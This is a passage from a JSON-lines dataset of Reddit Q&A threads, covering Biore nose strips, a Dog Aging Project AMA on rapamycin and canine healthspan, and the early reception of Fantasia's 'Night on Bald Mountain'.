phone to stop the train on a railway going from french speaking part of the country to the dutch speaking part. Hearing the panic in the voice of the french speaking controller trying to communicate with the dutch one and not succedding is heartbreaking  [wikipedia link](_URL_0_)\n \n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/65th_Infantry_Regiment_(United_States\\)"], ["http://en.wikipedia.org/wiki/P%C3%A9crot_rail_crash"]]}
{"q_id": "54i6hp", "title": "how do biore strips work? why are they only shaped for noses?", "selftext": "Other", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/54i6hp/eli5_how_do_biore_strips_work_why_are_they_only/", "answers": {"a_id": ["d826bhj"], "score": [9], "text": ["Biore strips act like tape, sticking to the sebum (oil) on your skin. The strips actually take out things called sebaceous filaments, which are part of your skin and are supposed to be there.  So you probably shouldn't use them. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "59h6bo", "title": "AskScience AMA Series: We are scientists with the Dog Aging Project, and we're excited to talk about improving the quality and quantity of life for our pets. Ask Us Anything!", "selftext": "Hello Reddit, we are excited to talk to you about the [Dog Aging Project](_URL_0_). Here to discuss your questions are:\n\n* Dr. Matt Kaeberlein, Professor at the University of Washington Department of Pathology, co-director of the Dog Aging Project\n* Dr. Daniel Promislow, Professor at the University of Washington Departments of Biology and Pathology, co-director of the Dog Aging Project\n* Dr. Kate Creevy, Professor at Texas A & M College of Veterinary Medicine  &  Biomedical Sciences, lead veterinarian for the Dog Aging Project\n* Dr. Silvan Urfer, Senior Fellow at the University of Washington Department of Pathology, veterinary informatics officer for the Dog Aging Project\n\nOur goal is to define the biological and environmental factors that influence healthy aging in dogs at high resolution, and to use this information to improve the quality and quantity of life for our pets.  So far, most scientific research on the biology of aging (geroscience) has been conducted in the lab under standardized conditions. Results from these studies have been quite encouraging (for example, Matt's group has recently managed to extend life expectancy in middle-aged mice by 60%). We believe that the domestic dog is ideally suited to bring this work out of the lab and into the real world.  There are many reasons why dogs are uniquely suited for this effort, including that they share our environment, receive comparable medical care, are affected by many of the same age-related diseases, and have excellent health and life span data available.\n\nWhile aging is not a disease, it is the most important risk factor for a wide range of diseases such as cancer, arthritis, type 2 diabetes, kidney failure and so on. Therefore, by targeting the biological mechanisms of aging, we can expect to see benefits across the spectrum of those otherwise unrelated diseases - which has lead us to state that healthy aging is in fact *The Ultimate Preventive Medicine.*\n\nOur hope is that by understanding the biological and environmental factors that influence the length of time an individual lives in good health (what we call 'healthspan'), we can better understand how to maximize each individual dog's healthspan. Having dogs live and stay healthy for longer will be beneficial for both the dogs and their owners. Moreover, given that dogs live in the same environment as we do, what we learn about healthspan in dogs is likely to apply to humans as well \u2013 so understanding healthy aging in dogs might help us to learn how to ensure the highest level of health at old age for humans. \n\nWe welcome interested citizen scientists to sign up their dogs to be considered for [two studies](_URL_0_/project-details/):\n\n* *The Longitudinal Study* will study 10,000 dogs (our 'foundation cohort') of all breeds and ages throughout North America. This intensively studied cohort will be followed through regular owner questionnaires, yearly vet visits including bloodwork, and information about in-home behavior, environmental quality, and more. In a subset of these dogs (our 'precision cohort'), we will also include annual studies of state-of-the-art molecular biology ('epigenome', 'microbiome' and 'metabolome') information. Our goal is to better understand how biology and the environment affect aging and health. Results from this study should help us to better predict and diagnose disease earlier, and so improve our ability to treat and prevent disease. There are no health, size or age requirements for dogs to be eligible to participate in this study.\n* *The Interventional Study* will test the effects of a drug called rapamycin on healthspan and lifespan in dogs. This is a drug that has shown promising effects on aging in a wide variety of species, and based on those results we expect to see a 2 to 5 year increase in healthy lifespan in dogs. We have previously tested rapamycin in a pilot study on healthy dogs for 10 weeks and found improved heart function that was specific to age-related changes, and no significant adverse side effects. For the Interventional Study, we will treat 300 healthy middle-aged dogs with either rapamycin or a placebo for several years and compare health outcomes and mortality between the two groups. To be eligible to participate, dogs will need to be healthy, at least six years of age at the beginning of the study, and weigh at least 18\u00a0kg (40\u00a0lbs). \n\nThe Dog Aging Project believes in the value of *Open Science*. We will collect an enormous amount of data for this project - enough to keep scores of scientists busy for many years. Other than any personal information about owners, we will make all of our data publicly available so that scientists and veterinarians around the world can make discoveries. We are also dedicated to Citizen Science, and will endeavor to create ways for all dog owners to become a part of the process of scientific discovery as the Dog Aging Project moves forward.\n\nWe'll be on at noon pacific time (3 PM ET, 19 UT), ask us anything!\n\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/59h6bo/askscience_ama_series_we_are_scientists_with_the/", "answers": {"a_id": ["d98eapx", "d98emfh", "d98emgr", "d98eo3j", "d98eoqj", "d98es07", "d98euyr", "d98excl", "d98exr2", "d98f1dj", "d98f1fr", "d98fej1", "d98fifr", "d98fk0d", "d98fkfi", "d98fn35", "d98fqz2", "d98fsvn", "d98fugw", "d98fvos", "d98fvp5", "d98g25v", "d98gbjq", "d98gdp0", "d98ghtu", "d98gls3", "d98gml3", "d98grih", "d98gs5x", "d98guaz", "d98gwt2", "d98gyhu", "d98h5mg", "d98h6h7", "d98h7vj", "d98h846", "d98h8fn", "d98hh58", "d98i01z", "d98iagc", "d98icdu", "d98ihtl", "d98ii7d", "d98iraq", "d98j1jo", "d98j4fc", "d98ja4l", "d98jc0j", "d98jgcb", "d98jlz0", "d98jor2", "d98jq1x", "d98jsmm", "d98jv2f", "d98jyi5", "d98k0wk", "d98k61u", "d98kqtm", "d98ksnu", "d98kvzf", "d98l77t", "d98lb1n", "d98lb9p", "d98ld5m", "d98lk7o", "d98lmzr", "d98lwe0", "d98m1i2", "d98mb62", "d98mi28", "d98nyd8", "d98o00j", "d98obm7", "d98oc0r", "d98oq7z", "d98oxmx", "d98pb9y", "d98pent", "d98q2oc", "d98rfbe", "d98rwr4", "d98tezi", "d98vh9d", "d98wcoh", "d98wv37", "d996lbo", "d99cte3", "d99joad", "d99l0sc", "d99p7gh"], "score": [235, 106, 32, 13, 249, 57, 3, 4, 45, 8, 103, 38, 36, 6, 5, 96, 15, 6, 9, 4, 4, 3, 2, 2, 7, 4, 3, 2, 5, 7, 2, 17, 2, 166, 4, 2, 2, 4, 4, 2, 2, 2, 3, 2, 6, 2, 2, 14, 4, 3, 2, 3, 2, 4, 2, 4, 5, 2, 2, 3, 2, 6, 2, 3, 7, 2, 3, 4, 5, 4, 2, 3, 2, 2, 2, 2, 2, 2, 4, 3, 2, 2, 2, 10, 2, 2, 2, 2, 2, 2], "text": ["I've always wondered if the fact that we only tend to breed either show dogs or neglected dogs has led to their short lifespans. My parents have a pet dog that is still chugging along at 15, old for a boxer. But she was spayed from the beginning and I always thought it was unfortunate that her good genes won't be passed on. Is this studied/known? \n\nAlso it seems like her diet has a huge impact. She was getting old, not running anymore, when my parents switched her to a better, grain free food. After that she started to run again, like she was a couple of years younger. Still, again she aged and went deaf, largely blind and stopped running. My parents started feeding her a home cooked mixture of meat, vegetables and oil  thinking it was just a nice treat for an old dog. But her catteracts went away, she stopped peeing in the house as much, and started being much more active again. Has there been unbiased study of different diets? Is there something I should definitely be feeding my 2 year old dog? ", "Do dogs get Dementia? We just put down one of our dogs and towards the end she just seemed forgetful, like she never quite understood what's going on or what she's doing. If so, is there anything Dementia in other mammals can teach us about Human Dementia?\n\nAlso, when does the Interventional study start? I have a dog who's currently 5 that seems like he would be a good candidate.", "I've heard something about adding fresh vegetables to your dogs diet greatly reduces their chance of cancer. Do you know if this is true?  Are there certain veggies that are a better or worse choice?  The only human foods my do gets are veggies and man does he love a bell pepper!!!", "Have you found that a reduction in calorific intake dampens the effect of IIGF and TOR leading to dogs living past their expected age? Similarly, is the level of IIGF in the blood why small dogs live longer than big dogs, or is it due to other factors?", "Since we as humans control most of our pet's lives, how do you resolve the ethical dilemma between quantity and quality of life at times?  Things like, it may be bad for my pet to have a certain food item, but my pet gains a huge amount of enjoyment from that food item and so on.", "My vet has been trying to have me make our dog grain free. I'm hesitant because of the grain free craze people went through. But my vet has claimed it will help with the quality and quantity of his life. Have you found anything so far to indicate that dogs should be grain free?\n\nAnd do you have any exceptions for your research? The difference of a pure breed or mixed will have on the longevity of the dog?\n\nHow do you objectively measure quality of life for a dog?", "Would you let a dog lick your mouth??? ", "With rapamycin, do you find a correlation with different breeds and the effectiveness it has? Does one group or type of breed benefit on average more then say another across a large sample? ", "Spaying/Neutering Question: What are your findings on the health of intact males and females? Do you support 100% spay and neuter? Or maybe there are exceptions or you have different thoughts on males vs. females or ideas on more appropriate ages to spay/neuter? \n\n\nAnecdote:\n\nI have a 6yo intact male. It wasn't a conscious decision at first to avoid getting him neutered. Then, at 2yo, I called around to vets to get quotes on cost, over $300 which I couldn't afford at the time. Between the ages of 2 and 5 every single vet (we go 2x/year on average) has offered to neuter him at a low cost or free but I hesitated. Hes in excellent health, very obedient, certified therapy dog, never had any issues - why change? \n\n\nI called to set up his annual as a 6yo and asked about neutering because once they're senior dogs it becomes more difficult. This new vet said that they are not recommending neutering and spaying every single dog because of new research findings on how it affects long term health. I was shocked to say the least. ", "1. What are best-proven methods to extend a dog's life? \n2. Do you have any breed-specific tips for extending a Labrador's life?", "What are the best things we can do for our aging dogs to extend age and/or quality of life? i'm assuming yearly dental care is on this list?\n\n*what about cooking fresh food v. store bought food? ", "How much does the breed of dog play into your study? Is \"muttdom\" a significant factor in the overall health and lifespan of a dog? Anything like that fall within the scope of this team?", "Hi! I've been a vet tech for 16yrs and I am very interested in this type of research, how can I get involved with this? \n\nAlso, I encounter aging patients everyday and pet parents have so many questions about optimal diet, lifestyle, and management of chronic disease, where can I find the information on current research that will best inform our clients? There is so much info out there and it seems like for every one journal article that says promote \"x\" you can find 3 that promote \"y\". \n\nThanks for doing this AMA I'm looking forward to your response.", "Do you have a hypothesis for three mechanism behind rapamycin's activity?", "No questions but thank you for your hard work! It is very exciting to see progress being made on this subject.", "I'm a human ageing researcher, and I'm genuinely really confused and interested in why there isn't much more on dogs. \n\nSo we know that there's a g-factor of intelligence in dogs: i.e. they have mental abilities which inter-correlate; they differ between individual dogs; and we can measure them reasonably well. We have spent millions and millions scanning humans and testing their mental abilities to try and find out what maps onto what. There's a bit of 'size', in that model, where people with bigger heads==bigger brains, tend to be smarter (on average).\n\nDogs vary in size, and intelligence, e.g. the collie. But the collie isn't the biggest dog, not by a longshot.\n\nWhy can't we just look at what structures are *disproportionately bigger* in collies vs. Dobermans or Malamuts or whatever? \n\nAlso if you would name your project Lothian Bitch Cohort, after the human cognitive ageing cohort Lothian Birth Cohort, I would be very grateful. ", "I make my dog's main food from scratch using raw meat, bones, and steamed vegetables.  Would you recommend using/avoiding any particular ingredients?", "Shout out to the last Tim Ferriss episode with Peter Attia, David Sabatini, and Navdeep Chandel. They talked a bit about the dog study. Here's to living longer, healthier lives!\n\nMy question is, do any of you take or plan to take rapamycin (or metformin) yourselves, and if so, what is or would be your dosing schedule?", "I love dogs and cats, this is very interesting but what about the ethical implications? Humans have managed to somewhat prolong our lives but we didn't plan properly. This coupled with large birth rates led to us having a population problem. We already have a lot of unwanted pets in rescues. What are your thoughts on this?", "Is there a way to find out a dog age?", "Have you noticed a difference in average lifespan for animals living in the city versus outside of the city? I know that people tend to live longer in urban areas due to more active lifestyles (more walking, less driving, etc). Wondering about my city dog and if she'll live any longer by living in New York City with me!", "How much of that research is likely to be applicable to humans? What about other animals?", "Do you have dogs yourselves and if so, do you think it affects how you feel about your job. ", "Are you going to use this on humans in the future ??", "Do you anticipate that any findings from this study could be applied to other species, e.g. humans, as well?", "It seems that dogs are living much longer than before. Is the idea of \"dog years\" being seven years no longer accurate?\n\nEdit: spelling", "I know dogs in the longitudinal study are doing yearly vet visits for monitoring, but are you putting any emphasis on client compliance? Say if a 8 year old dog comes in for a yearly and Dr. suspects arthritis or x or y condition, other just elects to monitor. I've always been more of the prevention field, where you start treating the arthritis then rather than when it really becomes a mobility issue at 10 years and not just a stiffness issue at 8 years.  How would you account for good compliance versus so-so in the study?", "I've read about mouse studies that indicate nicotinamide riboside may increase lifespan. _URL_0_\n\nAre you planning on studying nicotinamide riboside for dog longevity?\n\n", "In mice  Neff et al reported that rapamycin \u201chas limited effects on aging.\u201d  and its is primarily increasing life span through reduction in cancer incidences. But given the high incidence of neoplasia in dogs, I think it could still be promising. Are there certain types of cancer it is better at reducing? Also severe toxicosis of rapamycin has been characterized by oral ulceration, anorexia, diarrhea, vasculitis, and death. The 0.1 mg/kg dose seems well tolerated but I haven't seen any data on potential toxicity after chronic dosing (years). Is chronic dosing a concern? I would imagine to see any benefits of this drug it would have to be given daily for many years?", "What brand of dog food do you recommend, that is the healthiest for our dogs? And treats?? ", "I have 2 dogs, a Bassett and a mixed terrier, I live in Missouri, just recently they have both developed what I believe to be allergies, do you have any simple fixes for the allergies? \nPlus with my Bassett hound, he seems to be getting angrier at the world, he has a spoiled life and does what he pleases, he gets overwhelming love and attention, but he just has episodes daily now of just losing his mind nasty. Bassett hounds are very emotional dogs and most of the time this is a territory thing about his yard with other dogs, I'm just curious if you have any tips for just the emotional well being of an over dramatic dog? He's very smart, watches T.V. for animals and is very active, I have a hunch it's back pain, so I've got him schedule for a chiropractor, do you approve of those for dogs? ", "DVM here, do you know of any common, known genetic factors that modulate lifespan in large breed dogs (i.e. short) vs small breeds (generally longer). \n\nSince I'd classify myself as a \"large breed\" human (6'7\", 225lbs), I often wonder if there are commonalities with humans and if dogs would be a good model species. ", "What is your opinion on having animals as pets in general?", "Hi, ER small animal vet here\n\nMy question is how do you envision the results of your study to be implemented on a clinical, private practice level? For example do you expect all dogs over a certain age to be put on rapamycin prophylactically? Have there been any contraindications you have identified? Does treatment continue, escalate, or discontinue once patients invariably develop chronic disease (CKD, valvular degeneration)?  Does treatment continue when short term incidental disease is diagnosed (UTI, pancreatitis, etc)?\n\nWhat MOA do you propose causes the desirable effects of rapamycin related to aging?\n\nAre dogs with genetically known high risk for disease included in the study and do you propose rapamycin decreases risk of developing these diseases? Example DCM in dobermans, mast cell disease in boxers, disk disease in dachshunds. \n\nThanks for taking the time to respond.", "What are some similarities and differences in the ways dogs age compared to the way we humans age?\n\nAlso I used to study rapamycin. Do you anticipate any toxicity?", "I'd be curious to know where we stand in terms of knowledge on aging and neurological problems in dogs, and what helps to keep a dogs mind active and healthy well into their old age.\n\nAlso, I'd like to suggest that it would helpful if we had access to a meter for time-frames or schedules for things like recovery from symptoms of traumatic experiences (in ideal conditions), training them out of bad behaviors (in ideal conditions), and how influential certain factors are in modifying recovery/training times.\n\nI believe that most people who get frustrated at their dogs do so because they just don't know what to expect and don't have a reasonable end goal in sight, so it's impossible for them to be patient with bad behavior.  I think it's important to quality of life (QoL) because a frustrated person has less good will towards the cause of their frustration, making them less likely to do the things they need to do to help the dog to be a good dog. Basically, a downward spiral.\n\nIt would also help both trainers and owners to diagnose behavioral issues by indicating that the remedial actions they are taking are insufficient and that there may be more to the problem than they initially surmised when their solutions exceed the time-frames for a given problem.", "What factors contribute to a dog developing diabetes? Is it more or less the exact same set of factors as in humans?\n\nI had a family mutt (looked like an Australian Shepard mix) that developed cataracts and needed twice daily insulin shots by 8 years. She was a very energetic and athletic dog that was not overweight but her health degenerated exceptionally quick after the diagnosis. Was it likely due to an inadequate, high-fat, high-sugar diet of store bought food?\n\nAnd what would be an ideal diet to give a dog the longest, healthiest life? Do you have a lab-approved feeding regimen you adhere to in order to standardize dog's health (adjusted by size/weight) that you adhere to?", "How do you feel about the new raw food diets that are being promoted by that vets like Dr Karen Becker? My mum is currently feeding it to both our cat and dog and they seem to be thriving on it.\n\nIs this something you think people should start following more to help their dog's quality of life and overall health?", "My 60 pound dog turns 14 in December.  He has the heart of a puppy but his age is finally showing, especially in his hips.  What can I do to improve his life and reduce his hip pain?  Also, at this age, is it better to rest or continue light exercise?", "I have a small dandy-dinmont mutt. He's about 19 lbs. Before we rescued him, he was hit by a car which broke his hip in two places and dislocated his femur. His femure was dislocated for too long, and in order to alleviate some of his pain and get him back some mobility he underwent a femoral head ostectomy.\n\nWhat can I do to extend not just his life but his quality of life after a femoral head ostectomy? I'm particularly considered about his bone health and mobility. ", "Breed questions. Do you think that real breed dogs are less likely to live longer than mixed dogs, because breed dogs are made through \"incest\"?", "I feel as though all these folks discussing dog nutrition would have a better understanding of nutrition and life quality/quantity by understanding human nutrition. But that's besides the point. \n\nDo dogs experience time as they age? Do they 'feel' it like we do? ", "Aside from Rapamycin, are there a lot more substances currently being investigated for either anti-aging or nootropic properties that might work with canines? \n\nFor example, the longevity claims regarding Buckminsterfullerene / Carbon 60 in olive oil were first reported in experiments on mice... but whether reckless or not, it has stopped those in the /r/longevity ( and some in the /r/nootropics community in trying it out already ) \n\nOr, as another Redditor has asked ... the combination of NAD+ and Pterostilbene that's gotten a lot of attention end of last year: _URL_0_\n\nOr, is there something in the genetic make up of dogs that means less applicability of substances that might show benefits in mice and men? \n\nPerhaps an unrealistic expectation but I've always wondered with all the innovations in medical science including genetics etc., that there haven't been any significant advances in canine lifespans.", "Every dog I've ever known to eat \"real food\" instead of \"dog food\" has lived a long life, most beyond 12 years. Is this anecdotal or is dog food not as good as the producers would have us believe? ", "Are you building on the work of the Morris Animal Foundation's Golden Retriever Lifetime Study (_URL_0_)?\n\nIf we already participate in that study and have young dogs (2+ years), would it still benefit your study to enroll our dogs?", "What are your thoughts on the ethics of more extreme approaches to extending aging, such as genetic modification to maintain telomerase expression? Do you think dogs would make for a suitable *in vivo* test for someday doing this in humans? Eg. what would be the societal consequences of GMO dogs that live to see their 30s or 40s? It seems like your research on improving canine quality of life would become even more important if we were trying to maintain good health in ultra-long-lived canines. ", "I've heard studies that say dogs are living longer now, and others that say they have shorter life spans. Is one of them true, and why?", "Rather than breeding dogs for squashed noses and pig tails, could we breed dogs for longevity? How long could we get a dog to live?", "DVM here. Are there specific clinics that study participants will be directed to for the yearly exams, or can any clinic get involved? Should I do anything other than fill out the get involved box on your site if I want to work with you on this?", "Hi! I'm a senior biology student. Currently I'm taking a special topics aging course where we are actively studying the effects of aging in different model organisms like C. elegans. We actually talked about the paper that they gave dogs rapamycin in their food extends lifespan as well as healthspan.  How are you going to control the dogs intake of food (calories) and measure the calories burned? I know that my dog is very active and eats a lot of kebble, but my roommates dog is very lazy and sleeps a lot. I just want to know how to control these variables. ", "With humans, it has been said that there are \"long life\" genes. Do you think such a thing could exist for dogs? Because I have a 16-year old husky(?) mix who still jumps and runs around like an idiot and has never had any genetics-related health problems. Even vets mistake her for being only a few years old. And it's not like she has the highest standard of care in the world, we give her normal dog food and stuff.\n\nEdit: Also, if I were to submit my dog for the aging study... Would I have to provide some kind of proof of her age? If so, what would be acceptable?", "Have you done any investigation on if/how riding in vehicles often affects a dog's life span or quality thereof? This would apply moreso to those dogs that live on farms and ride with while doing chores, truck driving, etc. Sometimes I've noticed that some dogs really enjoy riding in vehicles and at other times they seem super docile or even disliking the experience.  Could repetitive car rides have some sort of impact on the overall,  long-term health of our furry compaions?\n\nThanks for the AMA and the good work!", "If you're allowed to say, is this achieved through some sort of Cell manipulation, or actual DNA manipulation?\n\nEDIT: I get that those are kind of the same thing, but I mean, is the DNA altered pre-birth or are cells altered post-birth? If it even involves either of those? (I tried to find this on your website but couldnt)", "How is your study taking into account different breeds and the health problems that are different among them, such as breeds that are more prone to a certain type of organ failure? For instance the rate at which Dachshunds have back problems is going to be larger than the rate at which most other dogs get it. (Just an example, not exactly related)", "What is the most cost-effective way of improving a dog's quality of life? I want my pups to be healthy but money is a big issue for me right now. ", "I'm seeing more and more use of cannabidiol (CBD) as a neutraceutical for dogs and seeing it in more health food products...do dogs have similar endocannabinoid systems as humans and if so, is it right to guess that there would be similar neurological effects (benefits) for dogs using CBD?", "Is glucosamine legit to help with hip problems in dogs susceptible to them?", "So everyone knows that \"dog years\" are longer than human years because of their shorter life span. But does that mean hours and minutes are longer too? When I leave my dog home alone for a few hours does it feel like a week to him? Is that why he gets so excited to finally see me, because it's been days for him? Or is the concept of \"dog years\" a myth?", "Hello Dog Aging Project team! I am a graduate student at UC Davis pursing an advanced degree with an emphasis on animal welfare, specifically involving best practices in animal shelters. I love data, how can I get involved with this incredible project?", "Is there an optimal diet for dogs? Optimal timing to feed them? Optimal quantity of food or macros? Optimal number of meals? Optimal calories for say a 30 kg dog?", "Can cannabis be helpful for treating some negative health symptoms in dogs? Do the benefits outweigh the risks?", "Hello! Thank you for your fascinating and important work. Pets play such an important role in our lives that many of us would do anything for just a few years with them. I was recently talking with my mom about the longevity of dogs and she took a pretty hard \"all natural\" and anti-science stance. I turned to your website, but still have a few questions.\n\n1. My mom insisted that dogs are living shorter lives and are less healthy than they were when she was growing up (50+ years ago). Is there truth to this statement, or are our pets living longer and healthier lives? Can you link a good resource on this?\n\n2. Is there evidence that the vaccination schedule has reduced the longevity of pets? Many vets seem to be recommending fewer vaccinations now than a few years ago, is this warranted or are they cashing in on fear?\n\n3. Is feeding our pets kibble or other processed foods a detriment to their health and lifespan? There seems to be a push to \"raw\" feeding and I'm curious if it is actually beneficial for the animals.\n\nThanks again!\n\n", "there have been several new breeds of dogs that are mixes of traditional breeds, like the labradoodle. What is the best new breed dog combo in your opinion? ", "How do you ethically justify the ability to lengthen a dog's lifespan when it can't advocate for itself? Is it not a little bit selfish to lengthen our pets' lives for our own emotional benefit? \n\nSorry if these questions seem pointed, I just want to hear your opinions as the scientists behind the work.", "We have a 13 year old JRT who started experiencing significant joint pain, decreased mobility, arthritic symptoms as well as pain panting throughout the day and night. Our DVM gave her gabapentin and methocarbamol which needed to be given every few hours and gave her only moderate relief even at max dosages. We happened to be treating a human family member for many of the same issues using CBD and THC tinctures. We switched the dog over to a single dose of full cannabis plant infused coconut oil once a day with outstanding success in symptom alleviation (and it's been working for 6 months now) - she sleeps well, she is frisky and energetic when she's up and she's eating well - all much better than on the pharmaceuticals. Are you going to be studying pain management for dogs using cannabis based products?", "What are the effects of feeding your dog a fresh food diet rather than dry dog food? My dog is a rescue with a lot of eating anxiety. I was told that he was starved out by the other dogs in one of his previous homes. He whines, cries, and pushes his nose into dry food for up to half an hour before eating it so I've switched to making him fresh food meals as he eats them without distress. He usually gets scrambled eggs or chicken, oatmeal or brown rice, and vegetables and fruit at each meal. \nIs this a sufficient range of foods for a dog? Is it healthier or worse for him? \n", "How long do you think dogs couple potentially live? For example, a Border Collie has an average lifespan of 13 years. Could we get more and more dogs living till 30 years old [like the oldest dog](_URL_0_) who recently passed away?\n\nFollowup question. Lets say you have a 13 year old Border Collie who has a very large but benign tumor by her spleen and the vet says that they can do a spleenectomy. Would you get that done considering your dog is at the end of their lifespan? Can a dog that old handle it? (this is literally what I am going through right now, it is very sad)", "I can recall seeing this story on the news and at first feeling hopeful that I could improve my best friend's quality of life.  However later in the same segment it was mentioned that you're only accepting dogs greater than 40 lbs for your study.  \n\nWhy is this?  Is this drug ineffective or less effective for smaller dogs?  \n\nDo you believe you will ever conduct a study for smaller dogs?", "Do you believe this is a responsible use of a macrolide? Are there any implications of resistance development, and/or cross-resistance towards other macrolide antibiotics?", "Will this study take advantage of CRISPR when taking into account the genes that might affect/prolong aging? If so, because it has been proven that the domestication of dogs has affected their genes over the course of human history, will there be genetic editing of canine chromosomes/DNA sometime in the future to test the results of this study?  ", "Is there a biological / genetic reason why the average lifespan of a dog is 15 years, versus 18-20 years for a cat, 70-100 for a human, 100+ for a turtle?  Even though we are made of the same \"stuff\", a 18 year old human is young and spry, while an 18 year old dog is elderly.  Can the average lifespan of a dog be changed significantly (i.e. 30 - 40 years), or is that just science fiction?\n", "Hi,\nAs an ex-pharmaceutical-ethical-sellout, I recognize that drugs aren't a rational approach to total health of an animal. For myself and any other cracks, what are some hollistic, non-idiopathic approaches to bettering my dog's life, other than the obvious (feeding them high quality food and giving them exercise)?", "What are a few simple things that we might not think of that would help our pets (I have a dog, but I'm sure cat mommas and daddies would like to know too) live a longer, happier life? ", "Will you be using CRISPR at all to improve longevity? ", "Is it true that mixed-breed dogs have longer life spans?", "What are the unique signs that a dog is nearing the very end of life? For example, refusal to eat and incontinence are two common symptoms in elderly dogs, but they can also be caused by GI infection. Is there any indicator that occurs in natural, age-related decline but does not occur in acute or terminal illness?  ", "I'd really like to see if there's a relationship between over vaccination and certain diseases (ie immune-mediated hemolytic anemia).  I'm all for vaccines however historically, the veterinary community has over vaccinated.  Some vets still recommend all vaccines every single year.      ", "You stated environment and in-home behavior will be assessed and evaluated, but does this include psychological factors? For example, humans with high-stress lifestyles are typically found to have shorter life spans. Will this study encompass the same sort of factors in dogs (i.e. Enough entertainment stimulus such as playing or being taken for walks, amount of attention received at home on an emotional level no matter how well taken care of they are, possible jealousy of another pet in the house, or just the healthspans of single dog homes vs multiple dog homes, etc.)? Essentially, will the psychological/emotional states of the dogs studied be included in part of the observed factors?", "How do you see the pro fat movement (omega 3. fat being  healthy ) affecting the moves of dogs and their feeding? \n\nI add omega 3 fish oil and eggs to my dogs food. Vet says she's the healthiest 23 year old she's ever seen. \n\nEdit: iPhone autocorrect. Sorry she's 13", "Is there a good reference that would describe why dogs are a better model to correlate to humans for this study than cats? And do you see this data applying to felines at any point?", "What is your current opinion on raw feeding? I know many of us raw feeders believe in what we are doing, but many vets have taken a hard stance against raw. Other than risk to myself (which seems the primary concern of many vets), what are your thoughts on a raw, commercially made or home made, properly balanced diet (not talking about throwing some store bought chicken breasts in a bowl for meals)?", "Wow I work in the lab doing this! Cool to see Dr. Promislow and Co. on Reddit!", "For the interventional study, what criteria will you use to select the 300 dogs for the study out of the thousands that will apply?  Out of these 300 dogs, what criteria will you use to select which dogs get treated with rapamycin and which dogs get the placebo?  Or will that selection be random?", "Hello everybody, this is Silvan writing. We're excited to start this AMA; however, we should make it clear that we are not in a position to give veterinary medical advice on individual dogs.", "Hello,\nAre you studying the affect of emotional issues on aging? E.g. amount of affection dogs get, if they have a companion dog pass away or if they otherwise experience grief. Many of us have seen loved ones condition deteriorate or even pass away \"from a broken heart,\" and we've seen presidents age very quickly due to stress. Anything along these lines come up in your studies or conversations?", "How do you feel about using CBD treatments for dogs and cats?", "Any way normal people of the internet can help? Maybe with a BOINC project to help with processing some of the computer simulations or something?", "I just wanted to say thank you ", "Hey Matt!\n\nI know its a little late, but I just wanted to say hey; I'm actually an undergrad researcher in the Yeast Microfluidic lab! \n\nAlso, what sort of things could an undergraduate researcher do in the dog lab? You know, if/when I want to move on to mammalian work. Yeast is fun, but they don't have the cute widdle faces dogs do.\n\nSee you around the lab!\n-CJ", "Do you think the findings could be applied to other animals? I'm more of a rabbit person."]}, "title_urls": [], "selftext_urls": ["http://dogagingproject.com", "http://dogagingproject.com/project-details/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://science.sciencemag.org/content/352/6292/1436"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.wired.com/2016/07/confused-elysiums-anti-aging-drug-yeah-fda/"], [], ["https://caninelifetimehealth.org/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://dogtime.com/trending/37499-worlds-oldest-dog-dies-peacefully-age-30"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "5bz1fq", "title": "When Fantasia and its 'Night on Bald Mountain' sequence premiered 75 years ago, were there any complaints from parents/religious groups about a Disney film featuring an orgy of demons and ghosts?", "selftext": "[The sequence in all its splendour, if you haven't seen it.](_URL_0_)  It is deservedly iconic -- but did anyone have misgivings at the time?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5bz1fq/when_fantasia_and_its_night_on_bald_mountain/", "answers": {"a_id": ["d9sw5ew", "d9sz74n", "d9t7r5c", "d9txlp4"], "score": [108, 135, 87, 3], "text": ["I'm curious, is it ever really presented or interpreted to be a literal orgy? I just watched the video and, beyond a few feminine silhouettes and the topless harpies, I didn't see anything overtly sexual. ", "Follow up question: \n\n*The Rite of Spring* sequence shows the beginnings of earth, evolution, dinosaurs, etc. Was there religious backlash to this segment?", "There was no religious backlash, as Walt had them specifically in mind when he made parts of the movie.  \n  \n > He [Walt Disney] had decided that the \"Ave Maria\" sequence should follow \"Bald Mountain,\" partly as an antidote: \"We are portraying good and evil.\" As Walt conceptualized it, the church bells in \"Ave Maria\" would sweep from the speakers at the back of the theater forward, chasing the demons of \"Bald Mountain\" offscreen. It would provide, he thought, exactly the sort of slow, somber note needed to end the film\u2014the sort of grace note he lamented he didn't have at the end of *Snow White*, where he thought he raced too quickly from her sleep to her awakening. He also thought the scene would be commercial. \"There's still a lot of Christians in the world, in spite of Russia and some of the others,\" he had said at a story meeting, \"and it would be a hell of an appealing thing from that angle.\" If it was being shown in a non-Christian country, Walt advised, they would simply snip it off.  \n  \nClearly Walt was interested in a Christian appeal, so it wasn't like there was any ignorance on his end in regards to what he was putting on screen.  \n   \nHowever, the \"Bald Mountain\" sequence did get criticized, but for political reasons rather than religious:  \n  \n > \"The forces of evil are not shown as the exploiters and war makers,\" he [Harry Raymond of the *Daily Worker*] said, \"but as a mythical devil on a mountain top against whom human powers are helpless.\" In short, Walt had abdicated personal and social responsibility for what Raymond[...]called \"theology.\"  \n  \nAnd there's also Dorothy Thompson, a nationally syndicated columnist:  \n  \n > [...]Disney and Stokowski seemed to extol the savagery of nature at the expense of man. [...] In Thompson's eyes, Disney's nature was so overwhelming that man had no choice but to subccumb, and like Raymond, she say this as an abdication of responsibility that she obliquely connected to the Nazi terror in Europe. Along with Disney's other recent work, the film was, she concluded, \"cruel,\" \"brutal and brutalizing,\" and a \"caricature of the Decline of the West.\"  \n  \nUpon release, the film's biggest criticism wasn't the film's irreligious nature, but it's disservice to the classical music. Olin Downes at *The New York Times* said that \"Mr. 